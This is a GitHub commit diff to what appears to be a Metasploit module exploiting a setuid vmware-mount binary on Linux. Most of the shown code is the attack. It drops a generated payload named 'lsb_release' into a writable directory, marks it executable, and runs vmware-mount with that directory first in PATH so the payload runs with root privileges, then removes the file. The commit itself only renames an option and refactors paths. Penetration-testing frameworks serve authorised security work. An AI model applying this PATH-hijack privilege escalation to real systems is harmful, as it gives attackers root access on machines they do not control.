Skip to content

Commit 985838e

Browse files
author
Rasta Mouse
committed
Suggestions from OJ
1 parent 25ecf73 commit 985838e

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

modules/exploits/linux/local/vmware_mount.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ def initialize(info={})
5454
}
5555
))
5656
register_options([
57-
OptString.new("WritableDir", [ true, "A directory where you can write files.", "/tmp" ]),
57+
OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
5858
], self.class)
5959
end
6060

@@ -71,13 +71,14 @@ def exploit
7171
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
7272
end
7373

74-
path = "#{datastore["WritableDir"]}"
75-
write_file("#{path}/lsb_release", generate_payload_exe)
76-
cmd_exec("chmod +x #{path}/lsb_release")
77-
cmd_exec("PATH=#{path}:$PATH /usr/bin/vmware-mount")
74+
lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
75+
write_file(lsb_path, generate_payload_exe)
76+
cmd_exec("chmod +x #{lsb_path}")
77+
cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
7878
# Delete it here instead of using FileDropper because the original
7979
# session can clean it up
80-
cmd_exec("rm -f #{path}/lsb_release")
80+
cmd_exec("rm -f #{lsb_path}")
81+
8182
end
8283

8384
def setuid?(remote_file)

0 commit comments

Comments
 (0)